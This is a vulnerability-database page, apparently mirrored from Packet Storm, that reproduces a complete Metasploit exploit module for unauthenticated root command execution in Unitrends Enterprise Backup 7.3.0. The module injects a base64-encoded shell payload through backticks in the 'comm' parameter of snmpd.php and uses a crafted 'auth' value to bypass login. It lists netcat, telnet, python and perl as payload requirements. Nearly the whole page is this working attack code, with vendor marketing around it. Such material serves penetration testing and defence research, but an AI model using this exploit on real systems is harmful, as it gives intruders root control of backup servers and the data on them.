Lucene search
K

Unitrends Unauthenticated Root Command Execution

🗓️ 15 Apr 2014 00:00:00Reported by Brandon PerryType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Unitrends Unauthenticated Root Command Executio

Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Unitrends Unauthenticated Root RCE",  
'Description' => %q{  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module  
],  
'References' =>  
[  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['Unitrends Enterprise Backup 7.3.0', {}]  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'python telnet netcat perl'  
}  
},  
'DisclosureDate' => "Mar 21 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),  
], self.class)  
end  
  
def exploit  
  
pay = Rex::Text.encode_base64(payload.encoded)  
get = {  
'type' => 'update',  
'sid' => '1',  
'comm' => 'notpublic`echo '+pay+'|base64 --decode|sh`',  
'enabled' => '1',  
'rx' => '4335379',  
'ver' => '7.3.0',  
'gcv' => '0'  
}  
  
post = {  
'auth' => '1:/usr/bp/logs.dir/gui_root.log:100'  
}  
  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'recoveryconsole', 'bpl', 'snmpd.php'),  
'vars_get' => get,  
'vars_post' => post,  
'method' => 'POST'  
})  
  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation